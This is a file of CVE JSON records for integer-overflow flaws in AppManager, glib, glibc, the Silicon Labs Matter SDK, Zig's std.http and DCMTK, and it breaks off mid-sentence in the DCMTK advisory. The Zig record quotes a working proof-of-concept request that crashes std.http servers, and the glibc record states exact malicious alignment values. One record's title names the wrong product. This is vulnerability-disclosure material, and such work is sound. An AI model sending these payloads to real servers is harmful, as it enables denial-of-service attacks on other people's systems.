CWE-190

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-1464",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-01-27T21:10:26.420693Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-01-27T21:39:51.512Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "collectionURL": "https://github.com/MuntashirAkon/AppManager",
          "defaultStatus": "affected",
          "modules": [
            "app/src/main/java/org/apache/commons/compress/archivers/tar"
          ],
          "product": "AppManager",
          "programFiles": [
            "TarUtils.java"
          ],
          "vendor": "MuntashirAkon",
          "versions": [
            {
              "lessThan": "4.0.4",
              "status": "affected",
              "version": "0",
              "versionType": "git"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "TITAN Team (titancaproject@gmail.com)"
        }
      ],
      "datePublic": "2026-01-27T08:18:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "Integer Overflow or Wraparound vulnerability in MuntashirAkon AppManager (app/src/main/java/org/apache/commons/compress/archivers/tar modules).\u003cp\u003e This vulnerability is associated with program files \u003ctt\u003eTarUtils.Java\u003c/tt\u003e.\u003c/p\u003e\u003cp\u003eThis issue affects AppManager: before 4.0.4.\u003c/p\u003e"
            }
          ],
          "value": "Integer Overflow or Wraparound vulnerability in MuntashirAkon AppManager (app/src/main/java/org/apache/commons/compress/archivers/tar modules). This vulnerability is associated with program files TarUtils.Java.\n\nThis issue affects AppManager: before 4.0.4."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "Automatable": "YES",
            "Recovery": "USER",
            "Safety": "NEGLIGIBLE",
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "LOCAL",
            "baseScore": 4.6,
            "baseSeverity": "MEDIUM",
            "exploitMaturity": "NOT_DEFINED",
            "privilegesRequired": "NONE",
            "providerUrgency": "AMBER",
            "subAvailabilityImpact": "LOW",
            "subConfidentialityImpact": "LOW",
            "subIntegrityImpact": "LOW",
            "userInteraction": "ACTIVE",
            "valueDensity": "CONCENTRATED",
            "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/S:N/AU:Y/R:U/V:C/RE:L/U:Amber",
            "version": "4.0",
            "vulnAvailabilityImpact": "LOW",
            "vulnConfidentialityImpact": "LOW",
            "vulnIntegrityImpact": "LOW",
            "vulnerabilityResponseEffort": "LOW"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-190",
              "description": "CWE-190 Integer Overflow or Wraparound",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-01-27T08:18:17.832Z",
        "orgId": "1a37b84a-8e51-4525-b3d6-87e2fae01dbd",
        "shortName": "GovTech CSG"
      },
      "references": [
        {
          "tags": [
            "patch"
          ],
          "url": "https://github.com/MuntashirAkon/AppManager/pull/1598"
        }
      ],
      "source": {
        "discovery": "UNKNOWN"
      },
      "title": "A  possible integer overflow vulnerability in RawTherapee/RawTherapee",
      "x_generator": {
        "engine": "Vulnogram 0.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1a37b84a-8e51-4525-b3d6-87e2fae01dbd",
    "assignerShortName": "GovTech CSG",
    "cveId": "CVE-2026-1464",
    "datePublished": "2026-01-27T08:18:17.832Z",
    "dateReserved": "2026-01-27T07:58:56.403Z",
    "dateUpdated": "2026-01-27T21:39:51.512Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-0988",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-01-21T14:25:32.217763Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-01-21T14:25:43.521Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "collectionURL": "https://catalog.redhat.com/software/containers/",
          "cpes": [
            "cpe:/a:redhat:hummingbird:1"
          ],
          "defaultStatus": "affected",
          "packageName": "glib2-main",
          "product": "Red Hat Hardened Images",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "2.88.0-1.1.hum1",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:enterprise_linux:10"
          ],
          "defaultStatus": "affected",
          "packageName": "bootc",
          "product": "Red Hat Enterprise Linux 10",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:enterprise_linux:10"
          ],
          "defaultStatus": "affected",
          "packageName": "glib2",
          "product": "Red Hat Enterprise Linux 10",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:enterprise_linux:10"
          ],
          "defaultStatus": "affected",
          "packageName": "glycin-loaders",
          "product": "Red Hat Enterprise Linux 10",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:enterprise_linux:10"
          ],
          "defaultStatus": "affected",
          "packageName": "loupe",
          "product": "Red Hat Enterprise Linux 10",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:enterprise_linux:10"
          ],
          "defaultStatus": "affected",
          "packageName": "mingw-glib2",
          "product": "Red Hat Enterprise Linux 10",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:enterprise_linux:10"
          ],
          "defaultStatus": "affected",
          "packageName": "papers",
          "product": "Red Hat Enterprise Linux 10",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:enterprise_linux:10"
          ],
          "defaultStatus": "affected",
          "packageName": "rpm-ostree",
          "product": "Red Hat Enterprise Linux 10",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:enterprise_linux:6"
          ],
          "defaultStatus": "affected",
          "packageName": "glib2",
          "product": "Red Hat Enterprise Linux 6",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:enterprise_linux:7"
          ],
          "defaultStatus": "affected",
          "packageName": "glib2",
          "product": "Red Hat Enterprise Linux 7",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:enterprise_linux:8"
          ],
          "defaultStatus": "affected",
          "packageName": "glib2",
          "product": "Red Hat Enterprise Linux 8",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:enterprise_linux:8"
          ],
          "defaultStatus": "affected",
          "packageName": "librsvg2",
          "product": "Red Hat Enterprise Linux 8",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:enterprise_linux:8"
          ],
          "defaultStatus": "affected",
          "packageName": "mingw-glib2",
          "product": "Red Hat Enterprise Linux 8",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:enterprise_linux:9"
          ],
          "defaultStatus": "affected",
          "packageName": "bootc",
          "product": "Red Hat Enterprise Linux 9",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:enterprise_linux:9"
          ],
          "defaultStatus": "affected",
          "packageName": "glib2",
          "product": "Red Hat Enterprise Linux 9",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:enterprise_linux:9"
          ],
          "defaultStatus": "affected",
          "packageName": "librsvg2",
          "product": "Red Hat Enterprise Linux 9",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:enterprise_linux:9"
          ],
          "defaultStatus": "affected",
          "packageName": "mingw-glib2",
          "product": "Red Hat Enterprise Linux 9",
          "vendor": "Red Hat"
        }
      ],
      "credits": [
        {
          "lang": "en",
          "value": "Red Hat would like to thank Codean Labs for reporting this issue."
        }
      ],
      "datePublic": "2026-01-15T00:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "A flaw was found in glib. Missing validation of offset and count parameters in the g_buffered_input_stream_peek() function can lead to an integer overflow during length calculation. When specially crafted values are provided, this overflow results in an incorrect size being passed to memcpy(), triggering a buffer overflow. This can cause application crashes, leading to a Denial of Service (DoS)."
        }
      ],
      "metrics": [
        {
          "other": {
            "content": {
              "namespace": "https://access.redhat.com/security/updates/classification/",
              "value": "Low"
            },
            "type": "Red Hat severity rating"
          }
        },
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 3.7,
            "baseSeverity": "LOW",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
            "version": "3.1"
          },
          "format": "CVSS"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-190",
              "description": "Integer Overflow or Wraparound",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-04-24T20:38:24.202Z",
        "orgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
        "shortName": "redhat"
      },
      "references": [
        {
          "name": "RHSA-2026:7461",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2026:7461"
        },
        {
          "tags": [
            "vdb-entry",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/security/cve/CVE-2026-0988"
        },
        {
          "name": "RHBZ#2429886",
          "tags": [
            "issue-tracking",
            "x_refsource_REDHAT"
          ],
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2429886"
        },
        {
          "url": "https://gitlab.gnome.org/GNOME/glib/-/issues/3851"
        }
      ],
      "timeline": [
        {
          "lang": "en",
          "time": "2026-01-15T11:22:30.846Z",
          "value": "Reported to Red Hat."
        },
        {
          "lang": "en",
          "time": "2026-01-15T00:00:00.000Z",
          "value": "Made public."
        }
      ],
      "title": "Glib: glib: denial of service via integer overflow in g_buffered_input_stream_peek()",
      "workarounds": [
        {
          "lang": "en",
          "value": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability."
        }
      ],
      "x_generator": {
        "engine": "cvelib 1.8.0"
      },
      "x_redhatCweChain": "CWE-190: Integer Overflow or Wraparound"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
    "assignerShortName": "redhat",
    "cveId": "CVE-2026-0988",
    "datePublished": "2026-01-21T11:38:39.370Z",
    "dateReserved": "2026-01-15T11:22:52.285Z",
    "dateUpdated": "2026-04-24T20:38:24.202Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 8.4,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2026-0861",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-04-29T03:55:55.254366Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-04-29T13:28:15.670Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2026-01-16T17:06:42.010Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/01/16/5"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "glibc",
          "vendor": "The GNU C Library",
          "versions": [
            {
              "lessThanOrEqual": "2.42",
              "status": "affected",
              "version": "2.30",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Igor Morgenstern, Aisle Research"
        }
      ],
      "datePublic": "2026-01-14T05:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "Passing too large an alignment to the memalign suite of functions (memalign, posix_memalign, aligned_alloc) in the GNU C Library version 2.30 to 2.42 may result in an integer overflow, which could consequently result in a heap corruption.\u003cbr\u003e\u003cbr\u003eNote that the attacker must have control over both, the size as well as the alignment arguments of the memalign function to be able to exploit this.  The size parameter must be close enough to PTRDIFF_MAX so as to overflow size_t along with the large alignment argument.  This limits the malicious inputs for the alignment for memalign to the range [1\u0026lt;\u0026lt;62+ 1, 1\u0026lt;\u0026lt;63] and exactly 1\u0026lt;\u0026lt;63 for posix_memalign and aligned_alloc.\u003cbr\u003e\u003cbr\u003eTypically the alignment argument passed to such functions is a known constrained quantity (e.g. page size, block size, struct sizes) and is not attacker controlled, because of which this may not be easily exploitable in practice.  An application bug could potentially result in the input alignment being too large, e.g. due to a different buffer overflow or integer overflow in the application or its dependent libraries, but that is again an uncommon usage pattern given typical sources of alignments."
            }
          ],
          "value": "Passing too large an alignment to the memalign suite of functions (memalign, posix_memalign, aligned_alloc) in the GNU C Library version 2.30 to 2.42 may result in an integer overflow, which could consequently result in a heap corruption.\n\nNote that the attacker must have control over both, the size as well as the alignment arguments of the memalign function to be able to exploit this.  The size parameter must be close enough to PTRDIFF_MAX so as to overflow size_t along with the large alignment argument.  This limits the malicious inputs for the alignment for memalign to the range [1\u003c\u003c62+ 1, 1\u003c\u003c63] and exactly 1\u003c\u003c63 for posix_memalign and aligned_alloc.\n\nTypically the alignment argument passed to such functions is a known constrained quantity (e.g. page size, block size, struct sizes) and is not attacker controlled, because of which this may not be easily exploitable in practice.  An application bug could potentially result in the input alignment being too large, e.g. due to a different buffer overflow or integer overflow in the application or its dependent libraries, but that is again an uncommon usage pattern given typical sources of alignments."
        }
      ],
      "impacts": [
        {
          "capecId": "CAPEC-129",
          "descriptions": [
            {
              "lang": "en",
              "value": "CAPEC-129 Pointer Manipulation"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-190",
              "description": "CWE-190 Integer Overflow or Wraparound",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-01-16T14:37:33.544Z",
        "orgId": "3ff69d7a-14f2-4f67-a097-88dee7810d18",
        "shortName": "glibc"
      },
      "references": [
        {
          "url": "https://sourceware.org/bugzilla/show_bug.cgi?id=33796"
        },
        {
          "url": "https://sourceware.org/git/?p=glibc.git;a=blob_plain;f=advisories/GLIBC-SA-2026-0001"
        }
      ],
      "source": {
        "discovery": "UNKNOWN"
      },
      "title": "Integer overflow in memalign leads to heap corruption",
      "x_generator": {
        "engine": "Vulnogram 0.5.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "3ff69d7a-14f2-4f67-a097-88dee7810d18",
    "assignerShortName": "glibc",
    "cveId": "CVE-2026-0861",
    "datePublished": "2026-01-14T21:01:11.037Z",
    "dateReserved": "2026-01-12T14:35:11.285Z",
    "dateUpdated": "2026-04-29T13:28:15.670Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-0619",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-02-12T20:43:39.885555Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-02-12T20:43:50.690Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Silicon Labs Matter",
          "repo": "https://github.com/SiliconLabs/matter",
          "vendor": "silabs.com",
          "versions": [
            {
              "lessThan": "2.8.0",
              "status": "affected",
              "version": "2.7.0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "A reachable infinite loop via an integer wraparound is present in Silicon Labs\u0027 Matter SDK which allows an attacker to trigger a denial of service. A hard reset is required to recover the device.\u0026nbsp;"
            }
          ],
          "value": "A reachable infinite loop via an integer wraparound is present in Silicon Labs\u0027 Matter SDK which allows an attacker to trigger a denial of service. A hard reset is required to recover the device."
        }
      ],
      "impacts": [
        {
          "capecId": "CAPEC-128",
          "descriptions": [
            {
              "lang": "en",
              "value": "CAPEC-128 Integer Attacks"
            }
          ]
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "Automatable": "NOT_DEFINED",
            "Recovery": "NOT_DEFINED",
            "Safety": "NOT_DEFINED",
            "attackComplexity": "LOW",
            "attackRequirements": "PRESENT",
            "attackVector": "NETWORK",
            "baseScore": 6,
            "baseSeverity": "MEDIUM",
            "exploitMaturity": "NOT_DEFINED",
            "privilegesRequired": "LOW",
            "providerUrgency": "NOT_DEFINED",
            "subAvailabilityImpact": "LOW",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "valueDensity": "NOT_DEFINED",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "NONE",
            "vulnerabilityResponseEffort": "NOT_DEFINED"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-190",
              "description": "CWE-190 Integer Overflow or Wraparound",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-835",
              "description": "CWE-835 Loop with Unreachable Exit Condition (\u0027Infinite Loop\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-02-12T20:09:28.533Z",
        "orgId": "030b2754-1501-44a4-bef8-48be86a33bf4",
        "shortName": "Silabs"
      },
      "references": [
        {
          "tags": [
            "vendor-advisory",
            "permissions-required"
          ],
          "url": "https://community.silabs.com/068Vm00000gUB2g"
        }
      ],
      "source": {
        "discovery": "UNKNOWN"
      },
      "title": "Integer Wraparound DoS in Silicon Labs Matter Implementation",
      "x_generator": {
        "engine": "Vulnogram 0.5.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "030b2754-1501-44a4-bef8-48be86a33bf4",
    "assignerShortName": "Silabs",
    "cveId": "CVE-2026-0619",
    "datePublished": "2026-02-12T20:09:28.533Z",
    "dateReserved": "2026-01-05T19:06:00.585Z",
    "dateUpdated": "2026-02-12T20:43:50.690Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Zig std.http chunked",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Agent Spooky\u0027s Fun Parade via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Agent Spooky\u2019s Fun Parade hereby reports, with the solemnity of a raccoon presenting a subpoena, an integer-overflow \npanic in Zig\u2019s std.http chunked request-body reader. In Zig 0.16.0 and master commit 8f7febfa6f59, \nReader.chunkedReadEndless and Reader.chunkedDiscardEndless compute cp.chunk_len + 2 - n after ChunkParser.feed has \naccepted chunk lengths up to 0xffffffffffffffff. Unfortunately, the downstream arithmetic only remains safe for \nchunk_len \u003c= maxInt(u64) - 2, meaning chunk sizes fffffffffffffffe and ffffffffffffffff are valid enough to enter the \ntemple and cursed enough to set it on fire.\u00b9\n\nThe practical effect is unauthenticated remote denial of service against std.http.Server users that read or discard \nrequest bodies. A single HTTP/1.1 request with Transfer-Encoding: chunked and first chunk-size line fffffffffffffffe \nreaches the checked u64 addition; in Debug and ReleaseSafe this produces panic: integer overflow and aborts the \nworker/process. In ReleaseFast/ReleaseSmall the same expression wraps instead, corrupting chunk-length tracking rather \nthan producing the neat educational corpse we get in safe builds. Our in-process PoC drives the real std.http.Server \nover fixed buffers and reproduces the panic at /usr/lib/zig/std/http.zig:586, which is convenient because nothing says \n\u201csystems programming\u201d like having your HTTP parser defeated by two bytes of conceptual optimism.\n\n// poc.zig \u2014 build: `zig build-exe poc.zig` (Debug) ; run: `./poc`\nconst std = @import(\"std\");\nconst http = std.http;\n\npub fn main() !void {\nconst body = \"A\" ** 300; // \u2265 read-buffer so the read is buffer-bounded, not EOF-bounded\nconst request_bytes =\n\"POST /upload HTTP/1.1\\r\\n\" ++\n\"Host: victim\\r\\n\" ++\n\"Transfer-Encoding: chunked\\r\\n\" ++\n\"\\r\\n\" ++\n\"fffffffffffffffe\\r\\n\" ++ // chunk-size = 0xFFFF_FFFF_FFFF_FFFE = 2^64 - 2\nbody;\n\nvar in = std.Io.Reader.fixed(request_bytes);\nvar out_buf: [4096]u8 = undefined;\nvar out = std.Io.Writer.fixed(\u0026out_buf);\n\nvar server = http.Server.init(\u0026in, \u0026out);\nvar request = try server.receiveHead(); // Head.parse accepts TE:chunked\n\nvar transfer_buf: [256]u8 = undefined;\nconst br = try request.readerExpectContinue(\u0026transfer_buf);\nvar dst: [256]u8 = undefined;\n_ = try br.readSliceShort(\u0026dst); // -\u003e panic at http.zig:586}\n\n\nRoot cause: the parser accepts the full [0, 2^64-1] chunk-size domain while the reader silently assumes [0, 2^64-3]. \nSuggested fix is to reject any parsed chunk length above std.math.maxInt(u64) - 2 in ChunkParser.feed, or preferably \nimpose a sane implementation maximum far below \u201cthe heat death of RAM.\u201d Separately, Request.Head.parse should reject \nrequests containing both Content-Length and Transfer-Encoding per RFC 7230 \u00a73.3.3, because accepting both and letting \nchunked win is how one accidentally becomes a boutique smuggling-adjacent artisan.\u00b2\n\nCWE-190, secondary CWE-1284, tertiary CWE-617. CVSS v3.0: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.\nCVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N.\nConfidentiality and integrity are not demonstrated; availability loss is the show, the whole show, and the clown car it \narrived in.\n\n\u00b9 \u201cValid enough to enter, cursed enough to set it on fire\u201d is not yet an IETF term, but we are submitting an erratum to \nreality.\u00b2 Footnote \u00b2 exists only to prove the report has layers, like an onion, or a parser state machine written \nduring a thunderstorm.\n\nCheers!\n\nAgent Spooky\u0027s Fun Parade\n\n[agent-spooky-1.png]\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-1284",
              "description": "CWE-1284",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-190",
              "description": "CWE-190",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-617",
              "description": "CWE-617",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-07T13:20:21Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/0"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jul/0"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jul/0"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Zig std.http chunked reader integer overflow -\u003e unauthenticated remote DoS",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0047",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/0",
            "automated": true,
            "contentSha256": "ee9275e5051b4ddd56cb304c6e6cc465817417ee75fe1a18379408ee5024c147",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jul/0",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-06-29T01:17:59Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:21Z",
    "dateUpdated": "2026-09-07T13:20:21Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0047"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "DICOM Toolkit",
          "vendor": "Dicom",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Matthias Deeg via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Advisory ID:               SYSS-2026-050\nProduct:                   DCMTK (DICOM ToolKit)\nManufacturer:              OFFIS e.V. / DCMTK Community\nAffected Version(s):       3.7.0\nTested Version(s):         3.7.0\nVulnerability Type:        Integer Overflow or Wraparound (CWE-190)\nRisk Level:                Medium\nSolution Status:           Fixed\nManufacturer Notification: 2026-07-02\nSolution Date:             2026-07-03\nPublic Disclosure:         2026-07-31\nCVE Reference:             Not yet assigned\nAuthor of Advisory:        Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nDCMTK (DICOM ToolKit) is an open-source collection of libraries and\napplications implementing large parts of the DICOM (Digital Imaging\nand Communications in Medicine) standard (see [1]).\n\nDCMTK\u0027s textual value import is vulnerable to unbounded Value Multiplicity\n(VM) allocation. An attacker who can supply a crafted textual DICOM dump\nor XML/JSON import payload can cause memory exhaustion or heap buffer\noverflow via integer overflow in the typed array allocation.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe function DcmElement::determineVM() in libsrc/dcelem.cc (line 2154)\ncounts backslash (\u0027\\\u0027) delimiters in a textual element value string 